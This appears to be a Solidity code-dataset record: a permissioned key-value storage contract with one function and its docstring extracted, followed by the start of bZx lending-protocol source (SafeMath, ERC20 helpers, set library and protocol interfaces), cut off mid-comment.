AddressMap.Data public permissions; mapping(bytes32 => address) public getAddress; mapping(bytes32 => bool) public getBool; mapping(bytes32 => bytes32) public getBytes32; mapping(bytes32 => bytes) public getBytes; mapping(bytes32 => int256) public getInt256; mapping(bytes32 => string) public getString; mapping(bytes32 => uint256) public getUint256; modifier isAllowed { require(permissions.exists(msg.sender) || msg.sender == owner, "Missing storage permission"); _; } // ------------------------------ Permission ------------------------------- /** * Adds/Removes permissions for the given address * THROWS when the permissions can't be granted/revoked * @param addr The address to add/remove permissions for * @param grant If permissions are being granted or revoked */ function setPermission(address addr, bool grant) external onlyOwner { if (grant) { require(permissions.append(addr), "Address already has permission"); } else { require(permissions.remove(addr), "Address permission don't exist"); } } /** * Retrieves the permission address at the index for the given type * THROWS when the index is out-of-bounds * @param index The index of the item to retrieve * @return The permission address of the item at the given index */ function permissionAt(int256 index) external view returns(address) { return permissions.at(index); } /** * Gets the index of the permission address for the given type * Returns -1 for missing permission * @param addr The address of the permission to get the index for * @return The index of the given permission address */ function permissionIndexOf(address addr) external view returns(int256) { return permissions.indexOf(addr); } /** * Returns whether or not the given permission address exists for the given type * @param addr The address to check for permission * @return If the given address has permission or not */ function permissionExists(address addr) external view returns(bool) { return permissions.exists(addr); } // ------------------------------ Storage ---------------------------------- // -- Address function getAddresses(bytes32[] memory k) public view returns(address[] memory o) { o = new address[](k.length); for (uint256 i = 0; i < k.length; i++) o[i] = getAddress[k[i]]; } function setAddress(bytes32 k, address v) external isAllowed { getAddress[k] = v; } function deleteAddress(bytes32 k) external isAllowed { delete getAddress[k]; } function getBools(bytes32[] memory k) public view returns(bool[] memory o) { o = new bool[](k.length); for (uint256 i = 0; i < k.length; i++) o[i] = getBool[k[i]]; } function setBool(bytes32 k, bool v) external isAllowed { getBool[k] = v; } function deleteBool(bytes32 k) external isAllowed { delete getBool[k]; } // -- Bytes function setBytes(bytes32 k, bytes calldata v) external isAllowed { getBytes[k] = v; } function deleteBytes(bytes32 k) external isAllowed { delete getBytes[k]; } // -- Bytes32 function getBytes32s(bytes32[] memory k) public view returns(bytes32[] memory o) { o = new bytes32[](k.length); for (uint256 i = 0; i < k.length; i++) o[i] = getBytes32[k[i]]; } function setBytes32(bytes32 k, bytes32 v) external isAllowed { getBytes32[k] = v; } function deleteBytes32(bytes32 k) external isAllowed { delete getBytes32[k]; } // -- String function setString(bytes32 k, string calldata v) external isAllowed { getString[k] = v; } function deleteString(bytes32 k) external isAllowed { delete getString[k]; } // -- Int256 function getInt256s(bytes32[] memory k) public view returns(int256[] memory o) { o = new int256[](k.length); for (uint256 i = 0; i < k.length; i++) o[i] = getInt256[k[i]]; } function setInt256(bytes32 k, int256 v) external isAllowed { getInt256[k] = v; } function deleteInt256(bytes32 k) external isAllowed { delete getInt256[k]; } // -- Uint256 function getUint256s(bytes32[] memory k) public view returns(uint256[] memory o) { o = new uint256[](k.length); for (uint256 i = 0; i < k.length; i++) o[i] = getUint256[k[i]]; } function setUint256(bytes32 k, uint256 v) external isAllowed { getUint256[k] = v; } function deleteUint256(bytes32 k) external isAllowed { delete getUint256[k]; } }
Returns whether or not the given permission address exists for the given type addr The address to check for permission return If the given address has permission or not/
function permissionExists(address addr) external view returns(bool) { return permissions.exists(addr); }
977,318
/** * Copyright 2017-2020, bZeroX, LLC <https://bzx.network/>. All Rights Reserved. * Licensed under the Apache License, Version 2.0. */ pragma solidity 0.5.17; pragma experimental ABIEncoderV2; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library MathUtil { /** * @dev Integer division of two numbers, rounding up and truncating the quotient */ function divCeil(uint256 a, uint256 b) internal pure returns (uint256) { return divCeil(a, b, "SafeMath: division by zero"); } /** * @dev Integer division of two numbers, rounding up and truncating the quotient */ function divCeil(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b != 0, errorMessage); if (a == 0) { return 0; } uint256 c = ((a - 1) / b) + 1; return c; } function min256(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a < _b ? _a : _b; } } interface IPriceFeeds { function queryRate( address sourceToken, address destToken) external view returns (uint256 rate, uint256 precision); function queryPrecision( address sourceToken, address destToken) external view returns (uint256 precision); function queryReturn( address sourceToken, address destToken, uint256 sourceAmount) external view returns (uint256 destAmount); function checkPriceDisagreement( address sourceToken, address destToken, uint256 sourceAmount, uint256 destAmount, uint256 maxSlippage) external view returns (uint256 sourceToDestSwapRate); function amountInEth( address Token, uint256 amount) external view returns (uint256 ethAmount); function getMaxDrawdown( address loanToken, address collateralToken, uint256 loanAmount, uint256 collateralAmount, uint256 maintenanceMargin) external view returns (uint256); function getCurrentMarginAndCollateralSize( address loanToken, address collateralToken, uint256 loanAmount, uint256 collateralAmount) external view returns (uint256 currentMargin, uint256 collateralInEthAmount); function getCurrentMargin( address loanToken, address collateralToken, uint256 loanAmount, uint256 collateralAmount) external view returns (uint256 currentMargin, uint256 collateralToLoanRate); function shouldLiquidate( address loanToken, address collateralToken, uint256 loanAmount, uint256 collateralAmount, uint256 maintenanceMargin) external view returns (bool); function getFastGasPrice( address payToken) external view returns (uint256); } contract IVestingToken is IERC20 { function claim() external; function vestedBalanceOf( address _owner) external view returns (uint256); function claimedBalanceOf( address _owner) external view returns (uint256); } /** * @dev Library for managing loan sets * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * Include with `using EnumerableBytes32Set for EnumerableBytes32Set.Bytes32Set;`. * */ library EnumerableBytes32Set { struct Bytes32Set { // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) index; bytes32[] values; } /** * @dev Add an address value to a set. O(1). * Returns false if the value was already in the set. */ function addAddress(Bytes32Set storage set, address addrvalue) internal returns (bool) { bytes32 value; assembly { value := addrvalue } return addBytes32(set, value); } /** * @dev Add a value to a set. O(1). * Returns false if the value was already in the set. */ function addBytes32(Bytes32Set storage set, bytes32 value) internal returns (bool) { if (!contains(set, value)){ set.index[value] = set.values.push(value); return true; } else { return false; } } /** * @dev Removes an address value from a set. O(1). * Returns false if the value was not present in the set. */ function removeAddress(Bytes32Set storage set, address addrvalue) internal returns (bool) { bytes32 value; assembly { value := addrvalue } return removeBytes32(set, value); } /** * @dev Removes a value from a set. O(1). * Returns false if the value was not present in the set. */ function removeBytes32(Bytes32Set storage set, bytes32 value) internal returns (bool) { if (contains(set, value)){ uint256 toDeleteIndex = set.index[value] - 1; uint256 lastIndex = set.values.length - 1; // If the element we're deleting is the last one, we can just remove it without doing a swap if (lastIndex != toDeleteIndex) { bytes32 lastValue = set.values[lastIndex]; // Move the last value to the index where the deleted value is set.values[toDeleteIndex] = lastValue; // Update the index for the moved value set.index[lastValue] = toDeleteIndex + 1; // All indexes are 1-based } // Delete the index entry for the deleted value delete set.index[value]; // Delete the old entry for the moved value set.values.pop(); return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return set.index[value] != 0; } /** * @dev Returns true if the value is in the set. O(1). */ function containsAddress(Bytes32Set storage set, address addrvalue) internal view returns (bool) { bytes32 value; assembly { value := addrvalue } return set.index[value] != 0; } /** * @dev Returns an array with all values in the set. O(N). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * WARNING: This function may run out of gas on large sets: use {length} and * {get} instead in these cases. */ function enumerate(Bytes32Set storage set, uint256 start, uint256 count) internal view returns (bytes32[] memory output) { uint256 end = start + count; require(end >= start, "addition overflow"); end = set.values.length < end ? set.values.length : end; if (end == 0 || start >= end) { return output; } output = new bytes32[](end-start); for (uint256 i = start; i < end; i++) { output[i-start] = set.values[i]; } return output; } /** * @dev Returns the number of elements on the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return set.values.length; } /** @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function get(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return set.values[index]; } /** @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function getAddress(Bytes32Set storage set, uint256 index) internal view returns (address) { bytes32 value = set.values[index]; address addrvalue; assembly { addrvalue := value } return addrvalue; } } interface IUniswapV2Router { // 0x38ed1739 function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external returns (uint256[] memory amounts); // 0x8803dbee function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline) external returns (uint256[] memory amounts); // 0x1f00ca74 function getAmountsIn( uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); // 0xd06ca61f function getAmountsOut( uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); } interface ICurve3Pool { function add_liquidity( uint256[3] calldata amounts, uint256 min_mint_amount) external; function get_virtual_price() external view returns (uint256); } //0xd061D61a4d941c39E5453435B6345Dc261C2fcE0 eth mainnet interface ICurveMinter { function mint( address _addr ) external; } //0xbFcF63294aD7105dEa65aA58F8AE5BE2D9d0952A eth mainnet interface ICurve3PoolGauge { function balanceOf( address _addr ) external view returns (uint256); function working_balances(address) external view returns (uint256); function claimable_tokens(address) external returns (uint256); function deposit( uint256 _amount ) external; function deposit( uint256 _amount, address _addr ) external; function withdraw( uint256 _amount ) external; function set_approve_deposit( address _addr, bool can_deposit ) external; } /// @title A proxy interface for The Protocol /// @author bZeroX /// @notice This is just an interface, not to be deployed itself. /// @dev This interface is to be used for the protocol interactions. interface IBZx { ////// Protocol ////// /// @dev adds or replaces existing proxy module /// @param target target proxy module address function replaceContract(address target) external; /// @dev updates all proxy modules addreses and function signatures. /// sigsArr and targetsArr should be of equal length /// @param sigsArr array of function signatures /// @param targetsArr array of target proxy module addresses function setTargets( string[] calldata sigsArr, address[] calldata targetsArr ) external; /// @dev returns protocol module address given a function signature /// @return module address function getTarget(string calldata sig) external view returns (address); ////// Protocol Settings ////// /// @dev sets price feed contract address. The contract on the addres should implement IPriceFeeds interface /// @param newContract module address for the IPriceFeeds implementation function setPriceFeedContract(address newContract) external; /// @dev sets swaps contract address. The contract on the addres should implement ISwapsImpl interface /// @param newContract module address for the ISwapsImpl implementation function setSwapsImplContract(address newContract) external; /// @dev sets loan pool with assets. Accepts two arrays of equal length /// @param pools array of address of pools /// @param assets array of addresses of assets function setLoanPool(address[] calldata pools, address[] calldata assets) external; /// @dev updates list of supported tokens, it can be use also to disable or enable particualr token /// @param addrs array of address of pools /// @param toggles array of addresses of assets /// @param withApprovals resets tokens to unlimited approval with the swaps integration (kyber, etc.) function setSupportedTokens( address[] calldata addrs, bool[] calldata toggles, bool withApprovals ) external; /// @dev sets lending fee with WEI_PERCENT_PRECISION /// @param newValue lending fee percent function setLendingFeePercent(uint256 newValue) external; /// @dev sets trading fee with WEI_PERCENT_PRECISION /// @param newValue trading fee percent function setTradingFeePercent(uint256 newValue) external; /// @dev sets borrowing fee with WEI_PERCENT_PRECISION /// @param newValue borrowing fee percent function setBorrowingFeePercent(uint256 newValue) external; /// @dev sets affiliate fee with WEI_PERCENT_PRECISION /// @param newValue affiliate fee percent function setAffiliateFeePercent(uint256 newValue) external; /// @dev sets liquidation inncetive percent per loan per token. This is the profit percent /// that liquidator gets in the process of liquidating. /// @param loanTokens array list of loan tokens /// @param collateralTokens array list of collateral tokens /// @param amounts array list of liquidation inncetive amount function setLiquidationIncentivePercent( address[] calldata loanTokens, address[] calldata collateralTokens, uint256[] calldata amounts ) external; /// @dev sets max swap rate slippage percent. /// @param newAmount max swap rate slippage percent. function setMaxDisagreement(uint256 newAmount) external; /// TODO function setSourceBufferPercent(uint256 newAmount) external; /// @dev sets maximum supported swap size in ETH /// @param newAmount max swap size in ETH. function setMaxSwapSize(uint256 newAmount) external; /// @dev sets fee controller address /// @param newController address of the new fees controller function setFeesController(address newController) external; /// @dev withdraws lending fees to receiver. Only can be called by feesController address /// @param tokens array of token addresses. /// @param receiver fees receiver address /// @return amounts array of amounts withdrawn function withdrawFees( address[] calldata tokens, address receiver, FeeClaimType feeType ) external returns (uint256[] memory amounts); /// @dev withdraw protocol token (BZRX) from vesting contract vBZRX /// @param receiver address of BZRX tokens claimed /// @param amount of BZRX token to be claimed. max is claimed if amount is greater than balance. /// @return rewardToken reward token address /// @return withdrawAmount amount function withdrawProtocolToken(address receiver, uint256 amount) external returns (address rewardToken, uint256 withdrawAmount); /// @dev depozit protocol token (BZRX) /// @param amount address of BZRX tokens to deposit function depositProtocolToken(uint256 amount) external; function grantRewards(address[] calldata users, uint256[] calldata amounts) external returns (uint256 totalAmount); // NOTE: this doesn't sanitize inputs -> inaccurate values may be returned if there are duplicates tokens input function queryFees(address[] calldata tokens, FeeClaimType feeType) external view returns (uint256[] memory amountsHeld, uint256[] memory amountsPaid); function priceFeeds() external view returns (address); function swapsImpl() external view returns (address); function logicTargets(bytes4) external view returns (address); function loans(bytes32) external view returns (Loan memory); function loanParams(bytes32) external view returns (LoanParams memory); // we don't use this yet // function lenderOrders(address, bytes32) external returns (Order memory); // function borrowerOrders(address, bytes32) external returns (Order memory); function delegatedManagers(bytes32, address) external view returns (bool); function lenderInterest(address, address) external view returns (LenderInterest memory); function loanInterest(bytes32) external view returns (LoanInterest memory); function feesController() external view returns (address); function lendingFeePercent() external view returns (uint256); function lendingFeeTokensHeld(address) external view returns (uint256); function lendingFeeTokensPaid(address) external view returns (uint256); function borrowingFeePercent() external view returns (uint256); function borrowingFeeTokensHeld(address) external view returns (uint256); function borrowingFeeTokensPaid(address) external view returns (uint256); function protocolTokenHeld() external view returns (uint256); function protocolTokenPaid() external view returns (uint256); function affiliateFeePercent() external view returns (uint256); function liquidationIncentivePercent(address, address) external view returns (uint256); function loanPoolToUnderlying(address) external view returns (address); function underlyingToLoanPool(address) external view returns (address); function supportedTokens(address) external view returns (bool); function maxDisagreement() external view returns (uint256); function sourceBufferPercent() external view returns (uint256); function maxSwapSize() external view returns (uint256); /// @dev get list of loan pools in the system. Ordering is not guaranteed /// @param start start index /// @param count number of pools to return /// @return loanPoolsList array of loan pools function getLoanPoolsList(uint256 start, uint256 count) external view returns (address[] memory loanPoolsList); /// @dev checks whether addreess is a loan pool address /// @return boolean function isLoanPool(address loanPool) external view returns (bool); ////// Loan Settings ////// /// @dev creates new loan param settings /// @param loanParamsList array of LoanParams /// @return loanParamsIdList array of loan ids created function setupLoanParams(LoanParams[] calldata loanParamsList) external returns (bytes32[] memory loanParamsIdList); /// @dev Deactivates LoanParams for future loans. Active loans using it are unaffected. /// @param loanParamsIdList array of loan ids function disableLoanParams(bytes32[] calldata loanParamsIdList) external; /// @dev gets array of LoanParams by given ids /// @param loanParamsIdList array of loan ids /// @return loanParamsList array of LoanParams function getLoanParams(bytes32[] calldata loanParamsIdList) external view returns (LoanParams[] memory loanParamsList); /// @dev Enumerates LoanParams in the system by owner /// @param owner of the loan params /// @param start number of loans to return /// @param count total number of the items /// @return loanParamsList array of LoanParams function getLoanParamsList( address owner, uint256 start, uint256 count ) external view returns (bytes32[] memory loanParamsList); /// @dev returns total loan principal for token address /// @param lender address /// @param loanToken address /// @return total principal of the loan function getTotalPrincipal(address lender, address loanToken) external view returns (uint256); ////// Loan Openings ////// /// @dev This is THE function that borrows or trades on the protocol /// @param loanParamsId id of the LoanParam created beforehand by setupLoanParams function /// @param loanId id of existing loan, if 0, start a new loan /// @param isTorqueLoan boolean whether it is toreque or non torque loan /// @param initialMargin in WEI_PERCENT_PRECISION /// @param sentAddresses array of size 4: /// lender: must match loan if loanId provided /// borrower: must match loan if loanId provided /// receiver: receiver of funds (address(0) assumes borrower address) /// manager: delegated manager of loan unless address(0) /// @param sentValues array of size 5: /// newRate: new loan interest rate /// newPrincipal: new loan size (borrowAmount + any borrowed interest) /// torqueInterest: new amount of interest to escrow for Torque loan (determines initial loan length) /// loanTokenReceived: total loanToken deposit (amount not sent to borrower in the case of Torque loans) /// collateralTokenReceived: total collateralToken deposit /// @param loanDataBytes required when sending ether /// @return principal of the loan and collateral amount function borrowOrTradeFromPool( bytes32 loanParamsId, bytes32 loanId, bool isTorqueLoan, uint256 initialMargin, address[4] calldata sentAddresses, uint256[5] calldata sentValues, bytes calldata loanDataBytes ) external payable returns (LoanOpenData memory); /// @dev sets/disables/enables the delegated manager for the loan /// @param loanId id of the loan /// @param delegated delegated manager address /// @param toggle boolean set enabled or disabled function setDelegatedManager( bytes32 loanId, address delegated, bool toggle ) external; /// @dev estimates margin exposure for simulated position /// @param loanToken address of the loan token /// @param collateralToken address of collateral token /// @param loanTokenSent amout of loan token sent /// @param collateralTokenSent amount of collateral token sent /// @param interestRate yearly interest rate /// @param newPrincipal principal amount of the loan /// @return estimated margin exposure amount function getEstimatedMarginExposure( address loanToken, address collateralToken, uint256 loanTokenSent, uint256 collateralTokenSent, uint256 interestRate, uint256 newPrincipal ) external view returns (uint256); /// @dev calculates required collateral for simulated position /// @param loanToken address of loan token /// @param collateralToken address of collateral token /// @param newPrincipal principal amount of the loan /// @param marginAmount margin amount of the loan /// @param isTorqueLoan boolean torque or non torque loan /// @return collateralAmountRequired amount required function getRequiredCollateral( address loanToken, address collateralToken, uint256 newPrincipal, uint256 marginAmount, bool isTorqueLoan ) external view returns (uint256 collateralAmountRequired); function getRequiredCollateralByParams( bytes32 loanParamsId, uint256 newPrincipal ) external view returns (uint256 collateralAmountRequired); /// @dev calculates borrow amount for simulated position /// @param loanToken address of loan token /// @param collateralToken address of collateral token /// @param collateralTokenAmount amount of collateral token sent /// @param marginAmount margin amount /// @param isTorqueLoan boolean torque or non torque loan /// @return borrowAmount possible borrow amount function getBorrowAmount( address loanToken, address collateralToken, uint256 collateralTokenAmount, uint256 marginAmount, bool isTorqueLoan ) external view returns (uint256 borrowAmount); function getBorrowAmountByParams( bytes32 loanParamsId, uint256 collateralTokenAmount ) external view returns (uint256 borrowAmount); ////// Loan Closings ////// /// @dev liquidates unhealty loans /// @param loanId id of the loan /// @param receiver address receiving liquidated loan collateral /// @param closeAmount amount to close denominated in loanToken /// @return loanCloseAmount amount of the collateral token of the loan /// @return seizedAmount sezied amount in the collateral token /// @return seizedToken loan token address function liquidate( bytes32 loanId, address receiver, uint256 closeAmount ) external payable returns ( uint256 loanCloseAmount, uint256 seizedAmount, address seizedToken ); /// @dev rollover loan /// @param loanId id of the loan /// @param loanDataBytes reserved for future use. function rollover(bytes32 loanId, bytes calldata loanDataBytes) external returns (address rebateToken, uint256 gasRebate); /// @dev close position with loan token deposit /// @param loanId id of the loan /// @param receiver collateral token reciever address /// @param depositAmount amount of loan token to deposit /// @return loanCloseAmount loan close amount /// @return withdrawAmount loan token withdraw amount /// @return withdrawToken loan token address function closeWithDeposit( bytes32 loanId, address receiver, uint256 depositAmount // denominated in loanToken ) external payable returns ( uint256 loanCloseAmount, uint256 withdrawAmount, address withdrawToken ); /// @dev close position with swap /// @param loanId id of the loan /// @param receiver collateral token reciever address /// @param swapAmount amount of loan token to swap /// @param returnTokenIsCollateral boolean whether to return tokens is collateral /// @param loanDataBytes reserved for future use /// @return loanCloseAmount loan close amount /// @return withdrawAmount loan token withdraw amount /// @return withdrawToken loan token address function closeWithSwap( bytes32 loanId, address receiver, uint256 swapAmount, // denominated in collateralToken bool returnTokenIsCollateral, // true: withdraws collateralToken, false: withdraws loanToken bytes calldata loanDataBytes ) external returns ( uint256 loanCloseAmount, uint256 withdrawAmount, address withdrawToken ); ////// Loan Closings With Gas Token ////// /// @dev liquidates unhealty loans by using Gas token /// @param loanId id of the loan /// @param receiver address receiving liquidated loan collateral /// @param gasTokenUser user address of the GAS token /// @param closeAmount amount to close denominated in loanToken /// @return loanCloseAmount loan close amount /// @return seizedAmount loan token withdraw amount /// @return seizedToken loan token address function liquidateWithGasToken( bytes32 loanId, address receiver, address gasTokenUser, uint256 closeAmount // denominated in loanToken ) external payable returns ( uint256 loanCloseAmount, uint256 seizedAmount, address seizedToken ); /// @dev rollover loan /// @param loanId id of the loan /// @param gasTokenUser user address of the GAS token function rolloverWithGasToken( bytes32 loanId, address gasTokenUser, bytes calldata /*loanDataBytes*/ ) external returns (address rebateToken, uint256 gasRebate); /// @dev close position with loan token deposit /// @param loanId id of the loan /// @param 